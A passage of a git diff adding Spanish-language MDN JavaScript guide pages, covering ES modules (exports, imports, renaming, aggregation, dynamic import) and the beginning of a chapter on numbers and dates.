+   <li><code>draw()</code> — dibuja una figura cuadrada en un lienzo específico, con un tamaño, posición y color específicos. Devuelve un objeto que contiene el tamaño, la posición y el color del cuadrado.</li>
+   <li><code>reportArea()</code> — escribe el área de un cuadrado en una lista de informes específica, dada su longitud.</li>
+   <li><code>reportPerimeter()</code> — escribe el perímetro de un cuadrado en una lista de informes específica, dada su longitud.</li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="Reflexión_—_.mjs_versus_.js">Reflexión — <code>.mjs</code> versus <code>.js</code></h2>
+
+<p>A través de este artículo, usaremos extensiones <code>.js</code> para nuestros archivos de módulo, pero en otros recursos, puedes ver que en su lugar se usa la extensión <code>.mjs</code>. <a href="https://v8.dev/features/modules#mjs">La documentación de V8 recomienda esto</a>, por ejemplo. Las razones dadas son:</p>
+
+<ul>
+ <li>Es bueno por claridad, es decir, deja claro qué archivos son módulos y cuáles JavaScript.</li>
+ <li>Asegura que tus archivos de módulo sean analizados como un módulo por los entornos de ejecución como <a href="https://nodejs.org/api/esm.html#esm_enabling">Node.js</a> y herramientas de compilación como <a href="https://babeljs.io/docs/en/options#sourcetype">Babel</a>.</li>
+</ul>
+
+<p>Sin embargo, decidimos seguir usando <code>.js</code>, al menos por el momento. Para que los módulos funcionen correctamente en un navegador, debes asegurarte de que tu servidor los esté sirviendo con un encabezado <code>Content-Type</code> que contenga un tipo MIME de JavaScript como <code>text/javascript</code>. Si no lo haces, obtendrás un estricto error de verificación de tipo MIME como "El servidor respondió con un tipo MIME que no es JavaScript" y el navegador no ejecutará tu JavaScript. La mayoría de los servidores ya configuran el tipo correcto para archivos <code>.js</code>, pero todavía no para archivos <code>.mjs</code>. Los servidores que ya sirven archivos <code>.mjs</code> incluyen <a href="https://pages.github.com/">GitHub Pages</a> y <code><a href="https://github.com/http-party/http-server#readme">http-server</a></code> para Node.js.</p>
+
+<p>Esto está bien si ya estás utilizando un entorno de este tipo, o si no, pero sabes lo que estás haciendo y tiene acceso (es decir, puedes configurar tu servidor para establecer el <code><a href="/es/docs/Web/HTTP/Headers/Content-Type">Content-Type</a></code> para archivos <code>.mjs</code>). Sin embargo, podría causar confusión si no controlas el servidor desde el que estás sirviendo archivos, o si estás publicando archivos para uso público, como lo hacemos aquí.</p>
+
+<p>Por motivos de aprendizaje y portabilidad, decidimos mantenernos en <code>.js</code>.</p>
+
+<p>Si realmente valoras la claridad de usar <code>.mjs</code> para módulos en lugar de usar <code>.js</code> para archivos JavaScript "normales", pero no quieres encontrarte con el problema descrito anteriormente, siempre puedes usar <code>.mjs</code> durante el desarrollo y convertirlos a <code>.js</code> durante tu paso de compilación.</p>
+
+<p>También vale la pena señalar que:</p>
+
+<ul>
+ <li>Es posible que algunas herramientas nunca admitan <code>.mjs</code>, tal como <a href="https://www.typescriptlang.org/">TypeScript</a>.</li>
+ <li>El atributo <code>&lt;script type="module"&gt;</code> se usa para indicar cuándo se está apuntando a un módulo, como verás a continuación.</li>
+</ul>
+
+<h2 id="Exportar_características_del_módulo">Exportar características del módulo</h2>
+
+<p>Lo primero que debes hacer para acceder a las funciones del módulo es exportarlas. Esto se hace usando la declaración {{jsxref("Statements/export", "export")}}.</p>
+
+<p>La forma más sencilla de utilizarla es colocarla delante de cualquier elemento que desees exportar fuera del módulo, por ejemplo:</p>
+
+<pre class="brush: js; notranslate">export const name = 'square';
+
+export function draw(ctx, length, x, y, color) {
+  ctx.fillStyle = color;
+  ctx.fillRect(x, y, length, length);
+
+  return {
+    length: length,
+    x: x,
+    y: y,
+    color: color
+  };
+}</pre>
+
+<p>Puedes exportar funciones, <code>var</code>, <code>let</code>, <code>const</code> y, como veremos más adelante — clases. Deben ser elementos de nivel superior; no puedes usar <code>export</code> dentro de una función, por ejemplo.</p>
+
+<p>Una forma más conveniente de exportar todos los elementos que deseas exportar es usar una sola declaración de exportación al final de tu archivo de módulo, seguida de una lista separada por comas de las características que deseas exportar entre llaves. Por ejemplo:</p>
+
+<pre class="brush: js; notranslate">export { name, draw, reportArea, reportPerimeter };</pre>
+
+<h2 id="Importación_de_características_en_tu_script">Importación de características en tu script</h2>
+
+<p>Una vez que hayas declarado las funciones y características que deseas exportar de tu módulo, debes importarlas en tu script para poder usarlas. La forma más sencilla de hacerlo es la siguiente:</p>
+
+<pre class="brush: js; notranslate">import { name, draw, reportArea, reportPerimeter } from './modules/square.js';</pre>
+
+<p>Utiliza la declaración {{jsxref("Statements/import", "import")}}, seguida de una lista separada por comas de las características que deseas importar entre llaves, seguida de la palabra clave <code>from</code>, seguida de la ruta al archivo del módulo — una ruta relativa a la raíz del sitio, que para nuestro ejemplo de <code>basic-modules</code> sería <code>/js-examples/modules/basic-modules</code>.</p>
+
+<p>Sin embargo, hemos escrito la ruta de manera un poco diferente — estamos usando la sintaxis de punto (<code>.</code>) para significar "la ubicación actual", seguida de la ruta más allá del archivo que estamos tratando de encontrar. Esto es mucho mejor que escribir la ruta relativa completa cada vez, ya que es más corta y hace que la URL sea portátil — el ejemplo seguirá funcionando si lo mueve a una ubicación diferente en la jerarquía del sitio.</p>
+
+<p>Así por ejemplo:</p>
+
+<pre class="notranslate">/js-examples/modules/basic-modules/modules/square.js</pre>
+
+<p>se convierte en</p>
+
+<pre class="notranslate">./modules/square.js</pre>
+
+<p>Puedes ver estas líneas en acción en <code><a href="https://github.com/mdn/js-examples/blob/master/modules/basic-modules/main.js">main.js</a></code>.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: En algunos sistemas de módulos, puedes omitir la extensión del archivo y el punto (por ejemplo, <code>'/modules/square'</code>). Esto no funciona en módulos de JavaScript nativos.</p>
+</div>
+
+<p>Una vez que hayas importado las funciones a tu script, las puedes usar tal como se definieron dentro del mismo archivo. Lo siguiente se encuentra en <code>main.js</code>, debajo de las líneas <code>import</code>:</p>
+
+<pre class="brush: js; notranslate">let myCanvas = create('myCanvas', document.body, 480, 320);
+let reportList = createReportList(myCanvas.id);
+
+let square1 = draw(myCanvas.ctx, 50, 50, 100, 'blue');
+reportArea(square1.length, reportList);
+reportPerimeter(square1.length, reportList);
+</pre>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Aunque las funciones importadas están disponibles en el archivo, son vistas de solo lectura de la función que se exportó. No puedes cambiar la variable que se importó, pero aún puedes modificar propiedades similares a <code>const</code>. Además, estas características se importan como enlaces activos, lo cual significa que pueden cambiar de valor incluso si no puedes modificar el enlace a diferencia de <code>const</code>.</p>
+</div>
+
+<h2 id="Aplicar_el_módulo_a_tu_HTML">Aplicar el módulo a tu HTML</h2>
+
+<p>Ahora solo necesitamos aplicar el módulo <code>main.js</code> a nuestra página HTML. Esto es muy similar a cómo aplicamos un script normal a una página, con algunas diferencias notables.</p>
+
+<p>En primer lugar, debes incluir <code>type="module"</code> en el elemento <a href="/es/docs/Web/HTML/Element/script" title="El elemento ↑&lt;script>↓ de HTML se utiliza para incrustar o hacer referencia al código ejecutable; esto se usa normalmente para incrustar o hacer referencia a código JavaScript."><code>&lt;script&gt;</code></a>, para declarar este script como un módulo. Para importar el script <code>main.js</code>, usamos esto:</p>
+
+<pre class="brush: html; no-line-numbers notranslate">&lt;script type="module" src="main.js"&gt;&lt;/script&gt;</pre>
+
+<p>También puedes incrustar el script del módulo directamente en el archivo HTML colocando el código JavaScript dentro del cuerpo del elemento <code>&lt;script&gt;</code>:</p>
+
+<pre class="brush: js notranslate">&lt;script type="module"&gt;
+  /* El código del módulo JavaScript va aquí */
+&lt;/script&gt;</pre>
+
+<p>El script en el que importas las características del módulo básicamente actúa como el módulo de nivel superior. Si lo omite, Firefox, por ejemplo, te da un error de "SyntaxError: Las declaraciones import solo pueden aparecer en el nivel superior de un módulo".</p>
+
+<p>Solo puede usar instrucciones <code>import</code> y <code>export</code> dentro de los módulos, no en scripts normales.</p>
+
+<h2 id="Otras_diferencias_entre_módulos_y_scripts_estándar">Otras diferencias entre módulos y scripts estándar</h2>
+
+<ul>
+ <li>Debes prestar atención a las pruebas locales — si intentas cargar el archivo HTML localmente (es decir, con una URL <code>file:///</code>), te encontrarás con errores de CORS debido a los requisitos de seguridad del módulo JavaScript. Necesitas hacer tus pruebas a través de un servidor.</li>
+ <li>Además, ten en cuenta que puedes obtener un comportamiento diferente de las secciones del script definidas dentro de los módulos en comparación con los scripts estándar. Esto se debe a que los módulos automáticamente usan {{jsxref("Strict_mode", "strict mode", "", 1)}}.</li>
+ <li>No es necesario utilizar el atributo <code>defer</code> (ve <a href="/es/docs/Web/HTML/Element/script#Attributes" title="El elemento ↑&lt;script>↓ de HTML se utiliza para incrustar o hacer referencia al código ejecutable; esto se usa normalmente para incrustar o hacer referencia a código JavaScript."> atributos de <code>&lt;script&gt;</code></a>) al cargar un script de módulo; los módulos se difieren automáticamente.</li>
+ <li>Los módulos solo se ejecutan una vez, incluso si se les ha hecho referencia en varias etiquetas <code>&lt;script&gt;</code>.</li>
+ <li>Por último, pero no menos importante, dejemos esto en claro — las características del módulo se importan al alcance de un solo script — no están disponibles en el alcance global. Por lo tanto, solo podrás acceder a las funciones importadas en el script en el que se importan y no podrás acceder a ellas desde la consola de JavaScript, por ejemplo. Seguirás recibiendo errores de sintaxis en DevTools, pero no podrás utilizar algunas de las técnicas de depuración que esperabas utilizar.</li>
+</ul>
+
+<h2 id="Exportaciones_predeterminadas_vs._exportaciones_con_nombre">Exportaciones predeterminadas vs. exportaciones con nombre</h2>
+
+<p>La funcionalidad que hemos exportado hasta ahora se compone de <strong>exportaciones con nombre</strong> — cada elemento (ya sea una función, <code>const</code>, etc.) se ha denominado por su nombre en <code>export</code>, y ese nombre también se ha utilizado para referirse a él en <code>import</code>.</p>
+
+<p>También hay un tipo de exportación llamado <strong>exportación predeterminada</strong> — está diseñado para facilitar que un módulo proporcione una función predeterminada, y también ayuda a los módulos JavaScript a interoperar con los sistemas de módulos CommonJS y AMD existentes (como se explica muy bien en <a href="https://hacks.mozilla.org/2015/08/es6-in-depth-modules/">ES6 en profundidad: módulos</a> de Jason Orendorff; busca "Exportaciones predeterminadas").</p>
+
+<p>Veamos un ejemplo mientras explicamos cómo funciona. En nuestros ↑basic-modules↓ <code>square.js</code> puedes encontrar una función llamada <code>randomSquare()</code> que crea un cuadrado con un color, tamaño y posición aleatorios. Lo queremos exportar como nuestro predeterminado, por lo que en la parte inferior del archivo escribimos esto:</p>
+
+<pre class="brush: js; notranslate">export default randomSquare;</pre>
+
+<p>Ten en cuenta la falta de llaves.</p>
+
+<p>En su lugar, podríamos anteponer <code>export default</code> a la función y definirla como una función anónima, así:</p>
+
+<pre class="brush: js; notranslate">export default function(ctx) {
+  ...
+}</pre>
+
+<p>En nuestro archivo <code>main.js</code>, importamos la función predeterminada usando esta línea:</p>
+
+<pre class="brush: js; notranslate">import randomSquare from './modules/square.js';</pre>
+
+<p>Una vez más, ten en cuenta la falta de llaves. Esto se debe a que solo se permite una exportación predeterminada por módulo, y sabemos que <code>randomSquare</code> lo es. La línea anterior es básicamente una abreviatura de:</p>
+
+<pre class="brush: js; notranslate">import {default as randomSquare} from './modules/square.js';</pre>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: La sintaxis as para cambiar el nombre de los elementos exportados se explica a continuación en la sección <a href="#Renombrar_impotaciones_y_exportaciones">Renombrar importaciones y exportaciones</a>.</p>
+</div>
+
+<h2 id="Evitar_conflictos_de_nombres">Evitar conflictos de nombres</h2>
+
+<p>Hasta ahora, nuestros módulos de dibujo de formas en el lienzo parecen estar funcionando bien. Pero, ¿qué pasa si intentamos agregar un módulo que se ocupa de dibujar otra forma, como un círculo o un triángulo? Estas formas probablemente también tendrían funciones asociadas como <code>draw()</code>, <code>reportArea()</code>, etc.; si intentáramos importar diferentes funciones del mismo nombre en el mismo archivo de módulo de nivel superior, terminaríamos con conflictos y errores.</p>
+
+<p>Afortunadamente, hay varias formas de evitar esto. Los veremos en las siguientes secciones.</p>
+
+<h2 id="Renombrar_importaciones_y_exportaciones">Renombrar importaciones y exportaciones</h2>
+
+<p>Dentro de las llaves de tu instrucciones <code>import</code> y <code>export</code>, puedes usar la palabra clave <code>as</code> junto con un nuevo nombre de función, para cambiar el nombre de identificación que utilizará una función dentro del módulo de nivel superior.</p>
+
+<p>Entonces, por ejemplo, ambos de los siguientes harían el mismo trabajo, aunque de una manera ligeramente diferente:</p>
+
+<pre class="brush: js; notranslate">// dentro de module.js
+export {
+  function1 as newFunctionName,
+  function2 as anotherNewFunctionName
+};
+
+// dentro de main.js
+import {newFunctionName, anotherNewFunctionName} from './modules/module.js';</pre>
+
+<pre class="brush: js; notranslate">// dentro de module.js
+export {function1, function2};
+
+// dentro de main.js
+import {function1 as newFunctionName,
+         function2 as anotherNewFunctionName } from './modules/module.js';</pre>
+
+<p>Veamos un ejemplo real. En nuestro directorio <a href="https://github.com/mdn/js-examples/tree/master/modules/renaming">renaming</a>, verás el mismo sistema de módulos que en el ejemplo anterior, excepto que hemos agregado los módulos <code>circle.js</code> y <code>triangle.js</code> para dibujar e informar sobre círculos y triángulos.</p>
+
+<p>Dentro de cada uno de estos módulos, tenemos características con los mismos nombres que se exportan y, por lo tanto, cada una tiene la misma instrucción <code>export</code> en la parte inferior:</p>
+
+<pre class="brush: js; notranslate">export { name, draw, reportArea, reportPerimeter };</pre>
+
+<p>Al importarlos a <code>main.js</code>, si intentamos usar esto:</p>
+
+<pre class="brush: js; notranslate">import { name, draw, reportArea, reportPerimeter } from './modules/square.js';
+import { name, draw, reportArea, reportPerimeter } from './modules/circle.js';
+import { name, draw, reportArea, reportPerimeter } from './modules/triangle.js';</pre>
+
+<p>El navegador arrojará un error como "SyntaxError: redeclaración de nombre import" (Firefox).</p>
+
+<p>En su lugar, necesitamos cambiar el nombre de las importaciones para que sean únicas:</p>
+
+<pre class="brush: js; notranslate">import { name as squareName,
+         draw as drawSquare,
+         reportArea as reportSquareArea,
+         reportPerimeter as reportSquarePerimeter } from './modules/square.js';
+
+import { name as circleName,
+         draw as drawCircle,
+         reportArea as reportCircleArea,
+         reportPerimeter as reportCirclePerimeter } from './modules/circle.js';
+
+import { name as triangleName,
+        draw as drawTriangle,
+        reportArea as reportTriangleArea,
+        reportPerimeter as reportTrianglePerimeter } from './modules/triangle.js';</pre>
+
+<p>Ten en cuenta que podrías resolver el problema en los archivos del módulo, p. ej.</p>
+
+<pre class="brush: js; notranslate">// en square.js
+export {name as squareName,
+         draw as drawSquare,
+         reportArea as reportSquareArea,
+         reportPerimeter as reportSquarePerimeter };</pre>
+
+<pre class="brush: js; notranslate">// en main.js
+import {squareName, drawSquare, reportSquareArea, reportSquarePerimeter} from './modules/square.js';</pre>
+
+<p>Y funcionaría igual. El estilo que uses depende de ti, sin embargo, podría decirse que tiene más sentido dejar el código de tu módulo tal cual y realizar los cambios en las importaciones. Esto tiene sentido especialmente cuando estás importando desde módulos de terceros sobre los que no tienes ningún control.</p>
+
+<h2 id="Crear_un_objeto_module">Crear un objeto <code>module</code></h2>
+
+<p>El método anterior funciona bien, pero es un poco complicado y largo. Una solución aún mejor es importar las características de cada módulo dentro de un objeto <code>module</code>. La siguiente forma de sintaxis hace eso:</p>
+
+<pre class="brush: js; notranslate">import * as Module from './modules/module.js';</pre>
+
+<p>Esto toma todas las exportaciones disponibles dentro de <code>module.js</code> y las hace disponibles como miembros de un objeto <code>Module</code>, dándole efectivamente su propio espacio de nombres. Así por ejemplo:</p>
+
+<pre class="brush: js; notranslate">Module.function1()
+Module.function2()
+etc.</pre>
+
+<p>De nuevo, veamos un ejemplo real. Si vas a nuestro directorio <a href="https://github.com/mdn/js-examples/tree/master/modules/module-objects">module-objects</a>, verás el mismo ejemplo nuevamente, pero reescrito para aprovechar esta nueva sintaxis. En los módulos, las exportaciones están todas en la siguiente forma simple:</p>
+
+<pre class="brush: js; notranslate">export { name, draw, reportArea, reportPerimeter };</pre>
+
+<p>Las importaciones, por otro lado, se ven así:</p>
+
+<pre class="brush: js; notranslate">import * as Canvas from './modules/canvas.js';
+
+import * as Square from './modules/square.js';
+import * as Circle from './modules/circle.js';
+import * as Triangle from './modules/triangle.js';</pre>
+
+<p>En cada caso, ahora puedes acceder a las importaciones del módulo debajo del nombre del objeto especificado, por ejemplo:</p>
+
+<pre class="brush: js; notranslate">let square1 = Square.draw(myCanvas.ctx, 50, 50, 100, 'blue');
+Square.reportArea(square1.length, reportList);
+Square.reportPerimeter(square1.length, reportList);</pre>
+
+<p>Por lo tanto, ahora puedes escribir el código de la misma manera que antes (siempre que incluyas los nombres de los objetos donde sea necesario), y las importaciones son mucho más ordenadas.</p>
+
+<h2 id="Módulos_y_clases">Módulos y clases</h2>
+
+<p>Como dijimos antes, también puedes exportar e importar clases; esta es otra opción para evitar conflictos en tu código, y especialmente es útil si ya tienes el código de tu módulo escrito en un estilo orientado a objetos.</p>
+
+<p>Puedes ver un ejemplo de nuestro módulo de dibujo de formas reescrito con clases ES en nuestro directorio <a href="https://github.com/mdn/js-examples/tree/master/modules/classes">classes</a>. Como ejemplo, el archivo <code><a href="https://github.com/mdn/js-examples/blob/master/modules/classes/modules/square.js">square.js</a></code> ahora contiene toda su funcionalidad en una sola clase:</p>
+
+<pre class="brush: js; notranslate">class Square {
+  constructor(ctx, listId, length, x, y, color) {
+    ...
+  }
+
+  draw() {
+    ...
+  }
+
+  ...
+}</pre>
+
+<p>que luego exportamos:</p>
+
+<pre class="brush: js; notranslate">export { Square };</pre>
+
+<p>En <code><a href="https://github.com/mdn/js-examples/blob/master/modules/classes/main.js">main.js</a></code>, lo importamos así:</p>
+
+<pre class="brush: js; notranslate">import { Square } from './modules/square.js';</pre>
+
+<p>Y luego usas la clase para dibujar nuestro cuadrado:</p>
+
+<pre class="brush: js; notranslate">let square1 = new Square(myCanvas.ctx, myCanvas.listId, 50, 50, 100, 'blue');
+square1.draw();
+square1.reportArea();
+square1.reportPerimeter();</pre>
+
+<h2 id="Carga_estática_de_módulos">Carga estática de módulos</h2>
+
+<p>Habrá ocasiones en las que querrás agregar módulos juntos. Es posible que tengas varios niveles de dependencias, donde desees simplificar las cosas, combinando varios submódulos en un módulo principal. Esto es posible utilizando la sintaxis de exportación de los siguientes formas en el módulo principal:</p>
+
+<pre class="brush: js; notranslate">export * from 'x.js'
+export { name } from 'x.js'</pre>
+
+<p>Para ver un ejemplo, ve nuestro directorio <a href="https://github.com/mdn/js-examples/tree/master/modules/module-aggregation">module-aggregation</a>. En este ejemplo (basado en nuestro ejemplo de clases anterior) tenemos un módulo adicional llamado <code>shapes.js</code>, que reúne toda la funcionalidad de <code>circle.js</code>, <code>square.js</code> y <code>triangle.js</code>. También hemos movido nuestros submódulos dentro de un subdirectorio dentro del directorio <code>modules</code> llamado <code>shapes</code>. Entonces, la estructura del módulo en este ejemplo es:</p>
+
+<pre class="notranslate">modules/
+  canvas.js
+  shapes.js
+  shapes/
+    circle.js
+    square.js
+    triangle.js</pre>
+
+<p>En cada uno de los submódulos, la exportación es de la misma forma, p. ej.</p>
+
+<pre class="brush: js; notranslate">export { Square };</pre>
+
+<p>Luego viene la parte de agregación. Dentro de <code><a href="https://github.com/mdn/js-examples/blob/master/modules/module-aggregation/modules/shapes.js">shapes.js</a></code>, incluimos las siguientes líneas:</p>
+
+<pre class="brush: js; notranslate">export { Square } from './shapes/square.js';
+export { Triangle } from './shapes/triangle.js';
+export { Circle } from './shapes/circle.js';</pre>
+
+<p>Estas toman las exportaciones de los submódulos individuales y las ponen a disposición de manera efectiva desde el módulo <code>shapes.js</code>.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Las exportaciones a las que se hace referencia en <code>shapes.js</code> básicamente se redirigen a través del archivo y realmente no existen allí, por lo que no podrás escribir ningún código relacionado útil dentro del mismo archivo.</p>
+</div>
+
+<p>Entonces, ahora en el archivo <code>main.js</code>, podemos obtener acceso a las tres clases de módulos reemplazando</p>
+
+<pre class="brush: js; notranslate">import { Square } from './modules/square.js';
+import { Circle } from './modules/circle.js';
+import { Triangle } from './modules/triangle.js';</pre>
+
+<p>con la siguiente única línea:</p>
+
+<pre class="brush: js; notranslate">import { Square, Circle, Triangle } from './modules/shapes.js';</pre>
+
+<h2 id="Carga_dinámica_de_módulos">Carga dinámica de módulos</h2>
+
+<p>La parte más nueva de la funcionalidad de los módulos de JavaScript que estará disponible en los navegadores es la carga dinámica de módulos. Esto te permite cargar módulos dinámicamente solo cuando son necesarios, en lugar de tener que cargar todo por adelantado. Esto tiene algunas obvias ventajas de rendimiento; sigue leyendo y veamos cómo funciona.</p>
+
+<p>Esta nueva funcionalidad te permite llamar a {{jsxref("Statements/import", "import()", "#Importaciones_Dinámicas")}} como una función, pasándole la ruta al módulo como parámetro. Devuelve una {{jsxref("Promise")}}, que se cumple con un objeto <code>module</code> (consulta <a href="#Crear_un_objeto_module">Crear un objeto <code>module</code></a>) que te da acceso a las exportaciones de ese objeto, p. ej.</p>
+
+<pre class="brush: js; notranslate">import('./modules/myModule.js')
+  .then((module) =&gt; {
+    // Haz algo con el módulo.
+  });</pre>
+
+<p>Veamos un ejemplo. En el directorio <a href="https://github.com/mdn/js-examples/tree/master/modules/dynamic-module-imports">dynamic-module-import</a> tenemos otro ejemplo basado en nuestro ejemplo de clases. Esta vez, sin embargo, no dibujamos nada en el lienzo cuando se carga el ejemplo. En su lugar, incluimos tres botones — "Círculo", "Cuadrado" y "Triángulo" — que, cuando se presionan, cargan dinámicamente el módulo requerido y luego lo usan para dibujar la forma asociada.</p>
+
+<p>En este ejemplo, solo hemos realizado cambios en nuestros archivos <code><a href="https://github.com/mdn/js-examples/blob/master/modules/dynamic-module-imports/index.html">index.html</a></code> y <code><a href="https://github.com/mdn/js-examples/blob/master/modules/dynamic-module-imports/main.mjs">main.js</a></code> — el módulo <code>exports</code> sigue siendo el mismo que antes.</p>
+
+<p>En <code>main.js</code> hemos tomado una referencia a cada botón usando una llamada a <a href="/es/docs/Web/API/Document/querySelector"><code>Document.querySelector()</code></a>, por ejemplo:</p>
+
+<pre class="brush: js; notranslate">let squareBtn = document.querySelector('.square');</pre>
+
+<p>Luego adjuntamos un escucha de eventos a cada botón para que cuando se presione, el módulo relevante se cargue dinámicamente y se use para dibujar la forma:</p>
+
+<pre class="brush: js; notranslate">squareBtn.addEventListener('click', () =&gt; {
+  import('./modules/square.js').then((Module) =&gt; {
+    let square1 = new Module.Square(myCanvas.ctx, myCanvas.listId, 50, 50, 100, 'blue');
+    square1.draw();
+    square1.reportArea();
+    square1.reportPerimeter();
+  })
+});</pre>
+
+<p>Ten en cuenta que, debido a que el cumplimiento de la promesa devuelve un objeto <code>module</code>, la clase se convierte en una subfunción del objeto, por lo que ahora necesitamos acceder al constructor prefijado con <code>Module.</code>, p. ej. <code>Module.Square(...)</code>.</p>
+
+<h2 id="Solución_de_problemas">Solución de problemas</h2>
+
+<p>Aquí hay algunos consejos que te pueden ayudar si tienes problemas para hacer que tus módulos funcionen. ¡No dude en agregarlos a la lista si descubres más!</p>
+
+<ul>
+ <li>Mencionamos esto antes, pero para reiterar: los archivos <code>.js</code> se deben cargar con un tipo MIME de <code>text/javascript</code> (u otro tipo MIME compatible con JavaScript, pero se recomienda <code>text/javascript</code>), de lo contrario, obtendrás un error de comprobación de tipo MIME estricto como "El servidor respondió con un tipo MIME no JavaScript".</li>
+ <li>Si intentas cargar el archivo HTML localmente (es decir, con una URL <code>file:///</code>), encontrarás errores CORS debido a los requisitos de seguridad del módulo JavaScript. Necesitas hacer tus pruebas a través de un servidor. Las páginas de GitHub son ideales ya que también sirven archivos <code>.js</code> con el tipo MIME correcto.</li>
+ <li>Debido a que <code>.mjs</code> es una extensión de archivo no estándar, es posible que algunos sistemas operativos no la reconozcan o intenten reemplazarla por otra. Por ejemplo, descubrimos que macOS silenciosamente agregaba <code>.js</code> al final de los archivos <code>.mjs</code> y luego, automáticamente ocultaba la extensión del archivo. Entonces, todos nuestros archivos salían realmente como <code>x.mjs.js</code>. Una vez que desactivamos la acción de ocultar automáticamente las extensiones de archivo y lo entrenamos para aceptar <code>.mjs</code>, todo estuvo bien.</li>
+</ul>
+
+<h2 id="Ve_también">Ve también</h2>
+
+<ul>
+ <li><a href="https://developers.google.com/web/fundamentals/primers/modules#mjs">Uso de módulos JavaScript en la web</a>, por Addy Osmani y Mathias Bynens</li>
+ <li><a href="https://hacks.mozilla.org/2018/03/es-modules-a-cartoon-deep-dive/">Módulos ES: un análisis profundo de dibujos animados</a>, publicación en el blog Hacks de Lin Clark</li>
+ <li><a href="https://hacks.mozilla.org/2015/08/es6-in-depth-modules/">ES6 en profundidad: Módulos</a>, publicación en el blog Hacks de Jason Orendorff</li>
+ <li>Libro de Axel Rauschmayer <a href="http://exploringjs.com/es6/ch_modules.html">Explorando JS: Módulos</a></li>
+</ul>
+
+<p>{{Previous("Web/JavaScript/Guide/Meta_programming")}}</p>
diff --git a/files/es/web/javascript/guide/numbers_and_dates/index.html b/files/es/web/javascript/guide/numbers_and_dates/index.html
new file mode 100644
index 0000000000..e19c9cab75
--- /dev/null
+++ b/files/es/web/javascript/guide/numbers_and_dates/index.html
@@ -0,0 +1,395 @@
+---
+title: Números y fechas
+slug: Web/JavaScript/Guide/Numbers_and_dates
+tags:
+  - Coma flotante
+  - Cálculo
+  - Enteros
+  - Fechas
+  - Guía
+  - JavaScript
+  - Math
+  - Numeros
+  - Numérico
+  - PF
+  - Punto flotante
+  - 'l10n:priority'
+translation_of: Web/JavaScript/Guide/Numbers_and_dates
+---
+<div>{{jsSidebar("JavaScript Guide", "Guía JavaScript")}} {{PreviousNext("Web/JavaScript/Guide/Expressions_and_Operators", "Web/JavaScript/Guide/Text_formatting")}}</div>
+
+<p><span class="seoSummary">Este capítulo presenta los conceptos, objetos y funciones que se utilizan para trabajar y realizar cálculos utilizando números y fechas en JavaScript.</span> Esto incluye el uso de números escritos en varias bases, incluyendo decimal, binario y hexadecimal, así como el uso del objeto global {{JSxRef("Math")}} para realizar una amplia variedad de operaciones matemáticas con números.</p>
+
+<h2 id="Números">Números</h2>
+
+<p>En JavaScript, los números se implementan en {{interwiki("wikipedia", "Formato en coma flotante de doble precisión")}} de 64 bits IEEE 754 (es decir, un número entre ±2<sup>−1022</sup> y ±2<sup>+1023</sup>, o aproximadamente ±10<sup>−308</sup> a ±10<sup>+308</sup>, con una precisión numérica de 53 bits). Los valores enteros hasta ±2<sup>53</sup> - 1 se pueden representar con exactitud.</p>
+
+<p>Además de poder representar números de punto flotante, el tipo <code>number</code> tiene tres valores simbólicos: <code>+</code>{{JSxRef("Infinity")}}, <code>-</code>{{JSxRef("Infinity")}} y {{JSxRef("NaN")}} (<em>Not-a-Number</em>, no es un número).</p>
+
+<p>Una adición más reciente a JavaScript es el {{JSxRef("BigInt")}} que te permite representar números enteros que pueden ser muy grandes. Sin embargo, existen advertencias para usar <code>BigInt</code>; por ejemplo, no puedes mezclar y hacer coincidir los valores <code>BigInt</code> y {{JSxRef("Number")}} en la misma operación, y no puedes usar el objeto {{JSxRef("Math")}} con valores <code>BigInt</code>.</p>
+
+<p>Consulta también {{JSxRef("../Data_structures", "estructuras y tipos de datos JavaScript")}} para conocer el contexto con otros tipos primitivos en JavaScript.</p>
+
+<p>Puedes utilizar cuatro tipos de literales numéricos: decimal, binario, octal y hexadecimal.</p>
+
+<h3 id="Números_decimales">Números decimales</h3>
+
+<pre class="brush: js notranslate">1234567890
+42
+
+// Precaución al usar ceros a la izquierda:
+
+0888 // 888 procesado como decimal
+0777 // procesado como octal en modo no estricto (511 en decimal)
+</pre>
+
+<p>Ten en cuenta que los decimales literales pueden comenzar con un cero (<code>0</code>) seguido de otro dígito decimal, pero si cada dígito después del <code>0</code> inicial es menor que 8, el número se procesa como un número octal.</p>
+
+<h3 id="Números_binarios">Números binarios</h3>
+
+<p>La sintaxis de números binarios utiliza un cero inicial seguido de una letra "B" latina en minúscula o mayúscula (<code>0b</code> o <code>0B</code>). Si los dígitos después del <code>0b</code> no son 0 o 1, el siguiente {{JSxRef("Objetos_globales/SyntaxError", "SyntaxError")}} se lanza un: "Faltan dígitos binarios después de 0b".</p>
+
+<pre class="brush: js notranslate">var FLT_SIGNBIT  = 0b10000000000000000000000000000000; // 2147483648
+var FLT_EXPONENT = 0b01111111100000000000000000000000; // 2139095040
+var FLT_MANTISSA = 0B00000000011111111111111111111111; // 8388607</pre>
+
+<h3 id="Números_octales">Números octales</h3>
+
+<p>La sintaxis de números octales utiliza un cero a la izquierda. Si los dígitos después del <code>0</code> están fuera del rango de 0 a 7, el número se interpretará como un número decimal.</p>
+
+<pre class="brush: js notranslate">var n = 0755; // 493
+var m = 0644; // 420
+</pre>
+
+<p>El modo estricto en ECMAScript 5 prohíbe la sintaxis octal. La notación octal no es parte de ECMAScript 5, pero la admiten todos los navegadores al poner como prefijo un cero al número: <code>0644 == 420</code> y <code>"\045" === "%"</code>. En ECMAScript 2015, los números octales son compatibles si tienen el prefijo <code>0o</code>, por ejemplo:</p>
+
+<pre class="brush: js notranslate">var a = 0o10; // ES2015: 8
+</pre>
+
+<h3 id="Números_hexadecimales">Números hexadecimales</h3>
+
+<p>La sintaxis de números hexadecimales utiliza un cero inicial seguido de una letra "X" latina en minúscula o mayúscula (<code>0x</code> o <code>0X</code>). Si los dígitos después de <code>0x</code> están fuera del rango (0123456789ABCDEF), el siguiente {{JSxRef("Objetos_globales/SyntaxError", "SyntaxError")}} se lanza: "El identificador comienza inmediatamente después del literal numérico".</p>
+
+<pre class="brush: js notranslate">0xFFFFFFFFFFFFFFFFF // 295147905179352830000
+0x123456789ABCDEF   // 81985529216486900
+0XA                 // 10
+</pre>
+
+<h3 id="Exponenciación">Exponenciación</h3>
+
+<pre class="brush: js notranslate">1E3   // 1000
+2e6   // 2000000
